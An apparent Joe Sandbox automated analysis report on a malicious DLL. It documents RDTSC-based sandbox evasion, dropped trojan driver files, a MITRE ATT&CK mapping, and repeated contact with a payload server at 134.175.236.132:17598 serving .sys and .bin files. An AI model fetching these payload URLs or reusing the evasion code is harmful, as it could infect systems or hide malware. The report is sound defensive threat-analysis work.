Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect virtualization through RDTSC time measurements

Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 6E095961 second address: 6E095972 instructions: 0x00000000 rdtsc 0x00000002 cmp di, ax 0x00000005 mov dword ptr [ebp-2Ch], 45303030h 0x0000000c xchg dx, cx 0x0000000f rcr ch, cl 0x00000011 rdtsc
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 6E095972 second address: 6E09597F instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [ebp-28h], 00000001h 0x00000009 bsf ax, cx 0x0000000d rdtsc
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 6E096F51 second address: 6E096F55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esp 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\rundll32.exe	RDTSC instruction interceptor: First address: 6E096F55 second address: 6E096F5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 xchg dword ptr [esp+40h], eax 0x00000007 rdtsc

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6E091E11 rdtsc

3_2_6E091E11

Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\7ECA49D7.sys	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\xz[1]	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\xz[2]	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\xz[1]	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\xz[2]	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\xz[1]	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1340820F.sys	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1341015D.sys	Jump to dropped file

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\loaddll32.exe

Thread delayed: delay time: 120000

Potentially malicious time measurement code found

Source: rundll32.exe, 00000006.00000002.2125120908.000000000065A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: rundll32.exe, 00000003.00000002.2082938982.0000000000939000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.2082938982.0000000000964000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2039142851.0000000000964000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.2054642510.0000000000724000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.2054642510.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2125120908.00000000006B2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: rundll32.exe, 00000006.00000002.2125120908.00000000006B2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWt"

Anti Debugging

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E096F39 Start: 6E096F51 End: 6E096F5C		3_2_6E096F39
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E095950 Start: 6E09597F End: 6E095972		3_2_6E095950

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6E091E11 rdtsc

3_2_6E091E11

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 134.175.236.132 17598

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll",#1

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Windows Service	1 Access Token Manipulation	11 Masquerading	OS Credential Dumping	211 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 LSASS Driver	2 Windows Service	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	111 Process Injection	1 Access Token Manipulation	Security Account Manager	11 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 LSASS Driver	111 Process Injection	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Rundll32	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll	24%	Virustotal		Browse
SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll	100%	Avira	TR/Crypt.XPACK.Gen2
SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\xz[1]	71%	ReversingLabs	Win64.Trojan.Hitbrovi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\xz[1]	52%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\xz[2]	71%	ReversingLabs	Win64.Trojan.Hitbrovi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\xz[2]	52%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\xz[1]	71%	ReversingLabs	Win64.Trojan.Hitbrovi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\xz[1]	52%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\1340820F.sys	71%	ReversingLabs	Win64.Trojan.Hitbrovi
C:\Users\user\AppData\Local\Temp\1340820F.sys	52%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\1341015D.sys	71%	ReversingLabs	Win64.Trojan.Hitbrovi
C:\Users\user\AppData\Local\Temp\1341015D.sys	52%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\7ECA49D7.sys	71%	ReversingLabs	Win64.Trojan.Hitbrovi
C:\Users\user\AppData\Local\Temp\7ECA49D7.sys	52%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
fp2e7a.wpc.phicdn.net	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://subca.ocsp-certum.com02	0%	URL Reputation	safe
http://subca.ocsp-certum.com01	0%	URL Reputation	safe
http://134.175.236.132:17598/xz?mz=PmlHousProMax.sys	0%	Avira URL Cloud	safe
http://134.175.236.132:17598/xz?mz=PmlHousProMax.sys8)	0%	Avira URL Cloud	safe
http://134.175.236.132:17598/xz?mz=Pml.binA	0%	Avira URL Cloud	safe
http://134.1	0%	Avira URL Cloud	safe
http://134.175.236.132:17598/xz?mz=PmlHousProMax.sysk	0%	Avira URL Cloud	safe
http://134.175.236.132:17598/xz?mz=PmlHousPro.sys	0%	Avira URL Cloud	safe
http://134.175.236.132:17598/xz?mz=PmlHousPro.sysP	0%	Avira URL Cloud	safe
http://134.175.236.132:1p8	0%	Avira URL Cloud	safe
http://134.1	0%	Virustotal		Browse
http://134.175.236.132:17598/xz?mz=PmlHousPro.sysD	0%	Avira URL Cloud	safe
http://134.175.236.132:17598/xz?mz=PmlHousPro.sys	0%	Virustotal		Browse
http://134.175.236.132:17598/xz?mz=PmlHousPro.sysH	0%	Avira URL Cloud	safe
http://134.175.236.132:1	0%	Avira URL Cloud	safe
http://134.175.236.132:17598/xz?mz=PmlHousProMax.sys;	0%	Avira URL Cloud	safe
http://134.175.236.132:17598/xz?mz=PmlHousPro.sys~	0%	Avira URL Cloud	safe
http://134.175.236.132:17598/xz?mz=PmlHousPro.sysB	0%	Avira URL Cloud	safe
http://134.175.236.132:17598/xz?mz=Pml.binLocal	0%	Avira URL Cloud	safe
http://134.175.236.132:17598/xz?mz=Pml.binhttp://134.175.236.132:17598/xz?mz=PmlHousPro.sys	0%	Avira URL Cloud	safe
http://134.175.236.132:17598/xz?mz=Pml.binit	0%	Avira URL Cloud	safe
http://134.175.236.132:17598/xz?mz=PmlHousProMax.sys0ad	0%	Avira URL Cloud	safe
http://134.175.236.132:17598/xz?mz=PmlHousProMax.sys	0%	Virustotal		Browse
http://134.175.236.132:17598/xz?mz=PmlHousPro.sysn	0%	Avira URL Cloud	safe
http://134.175.236.132/	0%	Avira URL Cloud	safe
http://134.175.236.132:1HvP	0%	Avira URL Cloud	safe
http://134.175.236.132:17598/xz?mz=PmlHousPro.syss	0%	Avira URL Cloud	safe
http://134.175.236.132/	1%	Virustotal		Browse
http://134.175.236.132:17598/xz?mz=PmlHousProMax.sysHa	0%	Avira URL Cloud	safe
http://134.175.236.132:17598/xz?mz=PmlHousPro.sys$	0%	Avira URL Cloud	safe
http://134.175.236.132:17598/xz?mz=PmlHousProMax.sysX	0%	Avira URL Cloud	safe
http://134.175.236.132:17598/xz?mz=Pml.bin	0%	Avira URL Cloud	safe
http://ccsca2021.ocsp-certum.com05	0%	Avira URL Cloud	safe
http://134.175.236.132:17598/xz?mz=PmlHousProMax.sysDvT	0%	Avira URL Cloud	safe
http://134.175.236.132:17598/xz?mz=Pml.binhttp://134.175.236.132:17598/xz?mz=PmlHousPro.sys	0%	Virustotal		Browse
http://134.175.236.132:17598/xz?mz=Pml.bin	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://134.175.236.132:17598/xz?mz=PmlHousProMax.sys	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://134.175.236.132:17598/xz?mz=PmlHousPro.sys	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://134.175.236.132:17598/xz?mz=Pml.bin	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://134.175.236.132:17598/xz?mz=Pml.binA	rundll32.exe, 00000006.00000002.2125120908.000000000065A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://repository.certum.pl/ctnca.cer09	xz[1].3.dr, xz[2]0.4.dr	false		high
http://134.175.236.132:17598/xz?mz=PmlHousProMax.sys8)	rundll32.exe, 00000006.00000002.2125120908.00000000006B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://134.175.236.132:17598/xz?mz=PmlHousProMax.sysk	rundll32.exe, 00000006.00000002.2125120908.00000000006B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://134.1	rundll32.exe, 00000003.00000002.2082938982.0000000000964000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2039142851.0000000000964000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	low
http://crl.certum.pl/ctnca.crl0k	xz[1].3.dr, xz[2]0.4.dr	false		high
http://134.175.236.132:17598/xz?mz=PmlHousPro.sysP	rundll32.exe, 00000003.00000002.2082938982.000000000094D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://134.175.236.132:1p8	rundll32.exe, 00000006.00000002.2125120908.00000000006B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://134.175.236.132:17598/xz?mz=PmlHousPro.sysD	rundll32.exe, 00000006.00000002.2125120908.00000000006B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ccsca2021.crl.certum.pl/ccsca2021.crl0s	xz[1].3.dr, xz[2]0.4.dr	false		high
http://134.175.236.132:17598/xz?mz=PmlHousPro.sysH	rundll32.exe, 00000006.00000002.2125120908.0000000000699000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.certum.pl/CPS0	xz[1].3.dr, xz[2]0.4.dr	false		high
http://134.175.236.132:1	rundll32.exe, 00000006.00000002.2125120908.00000000006B2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://134.175.236.132:17598/xz?mz=PmlHousProMax.sys;	rundll32.exe, 00000004.00000002.2054642510.0000000000716000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://134.175.236.132:17598/xz?mz=PmlHousPro.sys~	rundll32.exe, 00000004.00000002.2054642510.0000000000724000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://repository.certum.pl/ccsca2021.cer0	xz[1].3.dr, xz[2]0.4.dr	false		high
http://134.175.236.132:17598/xz?mz=PmlHousPro.sysB	rundll32.exe, 00000006.00000002.2125120908.0000000000699000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://134.175.236.132:17598/xz?mz=Pml.binLocal	rundll32.exe, 00000003.00000002.2082938982.000000000090A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2125120908.000000000065A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://134.175.236.132:17598/xz?mz=Pml.binhttp://134.175.236.132:17598/xz?mz=PmlHousPro.sys	rundll32.exe, 00000003.00000002.2083353565.000000006E093000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2055035167.000000006E093000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000006.00000002.2125541075.000000006E093000.00000002.00000001.01000000.00000003.sdmp, SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://134.175.236.132:17598/xz?mz=Pml.binit	rundll32.exe, 00000006.00000002.2125120908.000000000065A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://134.175.236.132:17598/xz?mz=PmlHousProMax.sys0ad	rundll32.exe, 00000003.00000003.2039142851.000000000095E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.2082938982.000000000094D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://134.175.236.132:17598/xz?mz=PmlHousPro.sysn	rundll32.exe, 00000003.00000002.2082938982.0000000000964000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2039142851.0000000000964000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://subca.ocsp-certum.com02	xz[1].3.dr, xz[2]0.4.dr	false	URL Reputation: safe	unknown
http://134.175.236.132/	rundll32.exe, 00000004.00000002.2054642510.0000000000724000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://subca.ocsp-certum.com01	xz[1].3.dr, xz[2]0.4.dr	false	URL Reputation: safe	unknown
http://134.175.236.132:1HvP	rundll32.exe, 00000003.00000002.2082938982.0000000000964000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://134.175.236.132:17598/xz?mz=PmlHousPro.syss	rundll32.exe, 00000003.00000002.2082938982.000000000094D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://134.175.236.132:17598/xz?mz=PmlHousProMax.sysHa	rundll32.exe, 00000003.00000003.2039142851.000000000095E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.2082938982.000000000094D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://134.175.236.132:17598/xz?mz=PmlHousPro.sys$	rundll32.exe, 00000004.00000002.2054642510.0000000000724000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.2125120908.0000000000699000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://134.175.236.132:17598/xz?mz=PmlHousProMax.sysX	rundll32.exe, 00000003.00000003.2039142851.000000000095E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.2082938982.000000000094D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.certum.pl/ctnca2.crl0l	xz[1].3.dr, xz[2]0.4.dr	false		high
http://repository.certum.pl/ctnca2.cer09	xz[1].3.dr, xz[2]0.4.dr	false		high
http://ccsca2021.ocsp-certum.com05	xz[1].3.dr, xz[2]0.4.dr	false	Avira URL Cloud: safe	unknown
http://134.175.236.132:17598/xz?mz=PmlHousProMax.sysDvT	rundll32.exe, 00000003.00000003.2039142851.0000000000964000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.certum.pl/CPS0	xz[1].3.dr, xz[2]0.4.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
134.175.236.132	unknown	China		45090	CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1416972
Start date and time:	2024-03-28 11:28:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win32.Evo-gen.18602.10500.dll
Detection:	MAL
Classification:	mal96.troj.evad.winDLL@10/13@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 33 Number of non-executed functions: 9
Cookbook Comments:	Found application associated with file extension: .dll Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded IPs from analysis (whitelisted): 40.68.123.157, 23.207.202.37, 23.207.202.20, 23.207.202.5, 23.207.202.17, 23.207.202.23
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ocsp.edge.digicert.com, sls.update.microsoft.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-bg-shim.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, download.windowsupdate.com.edgesuite.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:28:57	API Interceptor	1x Sleep call for process: loaddll32.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fp2e7a.wpc.phicdn.net	https://cloudflare-ipfs.com/ipfs/bafybeific5oh7p6dvnpe2yvzaxfuvvaf5c6xpacgz774hqgtk4xznu2v5m/#r.cortes@system-asefin.com	Get hash	malicious	HTMLPhisher	Browse	192.229.211.108
	SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Get hash	malicious	Clipboard Hijacker, XWorm, Xmrig	Browse	192.229.211.108
	http://statisticsong.com	Get hash	malicious	Unknown	Browse	192.229.211.108
	8tUCycu3Wq.exe	Get hash	malicious	PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	192.229.211.108
	https://usersync.tiqcdn.net/ping/	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://login.service-mediobanca.com/?rid=5spGrj3	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://new-26766nbnberor44567789097jhjghgfvchg.s3.us-east-2.amazonaws.com/Win/index.html?tk=6mwXE1vq8p4KlPfsD2IC9FoU7MuHtzcB	Get hash	malicious	TechSupportScam	Browse	192.229.211.108
	https://www.applesassist.com/	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://f6dfsdfsdfsdfsdfsdfs.z13.web.core.windows.net/	Get hash	malicious	Unknown	Browse	192.229.211.108
	https://0authdesktvalidatenowdiscover.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	192.229.211.108

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa	9wDlG5DeRK.elf	Get hash	malicious	Moobot	Browse	94.191.87.99
	LekwisnOvb.elf	Get hash	malicious	Moobot	Browse	49.234.107.249
	X5mwMXIClM.exe	Get hash	malicious	GhostRat, Nitol	Browse	62.234.90.4
	bot.arm7-20240324-1846.elf	Get hash	malicious	Mirai, Moobot	Browse	49.233.147.201
	SecuriteInfo.com.Unwanted-Program.00587b831.20291.1301.exe	Get hash	malicious	Unknown	Browse	106.53.131.19
	SecuriteInfo.com.BScope.Adware.Wews.19872.20433.exe	Get hash	malicious	Unknown	Browse	106.53.131.19
	SecuriteInfo.com.FileRepMalware.2614.14343.exe	Get hash	malicious	Unknown	Browse	106.53.131.19
	QX.EXE.exe	Get hash	malicious	CobaltStrike	Browse	118.25.105.253
	AQ.EXE.exe	Get hash	malicious	CobaltStrike	Browse	118.25.105.253
	QX.EXE.exe	Get hash	malicious	CobaltStrike	Browse	118.25.105.253

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	109632
Entropy (8bit):	7.689689543182043
Encrypted:	false
SSDEEP:	1536:3ZXMruAoH7yiYfvw7OMVZ7xmZmItFqOV/XK5qbAT+2UCqzYjwhLIXfKEzq4z3khx:ZvbyRvEbKNF/VbAT+Yr4Gfzqckn
MD5:	2C90C97B65D358D8BABD7DDE5BA4AC6E
SHA1:	ED3EA1A1D23CE5945FFB3DCF34A5A6F7AEB7C0C6
SHA-256:	1F557584FE2B4CCE321A84460D78DE17E4B6B077ADDCB81BFD61598478D72ED0
SHA-512:	6922529FF105BA9A599B39ACF1E80CBB722569FF5EBED3DC5511DB5C30DBD3A42023339C22A3876815EEDD5451ADED7ADB758497AB67A4F3092BED9A1BE2D7F8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71% Antivirus: Virustotal, Detection: 52%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%5..aT..aT..aT..u?..bT..aT..@T..u?..cT..u?..bT...!..cT...!..`T..RichaT..........PE..d...P'.e.........."..................`.........@.....................................)....`A.................................................`..(............P.. .......@......,....0..8............................0...............0...............................text.............................. ..h.rdata.......0......................@..H.data...(....@.......$..............@....pdata.. ....P.......&..............@..HINIT.........`.......(.............. ..`.VSK0...rR...p...T...,..............`..h.reloc..,...........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\xz[2]

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	109632
Entropy (8bit):	7.689689543182043
Encrypted:	false
SSDEEP:	1536:3ZXMruAoH7yiYfvw7OMVZ7xmZmItFqOV/XK5qbAT+2UCqzYjwhLIXfKEzq4z3khx:ZvbyRvEbKNF/VbAT+Yr4Gfzqckn
MD5:	2C90C97B65D358D8BABD7DDE5BA4AC6E
SHA1:	ED3EA1A1D23CE5945FFB3DCF34A5A6F7AEB7C0C6
SHA-256:	1F557584FE2B4CCE321A84460D78DE17E4B6B077ADDCB81BFD61598478D72ED0
SHA-512:	6922529FF105BA9A599B39ACF1E80CBB722569FF5EBED3DC5511DB5C30DBD3A42023339C22A3876815EEDD5451ADED7ADB758497AB67A4F3092BED9A1BE2D7F8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 71% Antivirus: Virustotal, Detection: 52%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%5..aT..aT..aT..u?..bT..aT..@T..u?..cT..u?..bT...!..cT...!..`T..RichaT..........PE..d...P'.e.........."..................`.........@.....................................)....`A.................................................`..(............P.. .......@......,....0..8............................0...............0...............................text.............................. ..h.rdata.......0......................@..H.data...(....@.......$..............@....pdata.. ....P.......&..............@..HINIT.........`.......(.............. ..`.VSK0...rR...p...T...,..............`..h.reloc..,...........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\xz[3]

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	237081
Entropy (8bit):	7.995477279270951
Encrypted:	true
SSDEEP:	6144:Q1tW4MGK+44LrEZ8KcJWLtb1ENUwZUV9spHNrqVZ:Q1UBGKGLrEZJLLBCpfYZ
MD5:	8D73FEB1176004AB16C272280F512C9A
SHA1:	F1AD7DC28F422F68B541CE46E141FF02147C6E89
SHA-256:	232981E8F599330F9601E3CE9EDC824280D762814F75B8461EF2756CDF611397
SHA-512:	8915274B9EDEB8BA6B39EC168CD5540224FBEAD7724E142FED8891DE18D940851D5A19E001D5AA93C712D6FBC5A655DE566E55758B64DB72CA2D0423D09A0BE0
Malicious:	false
Reputation:	low
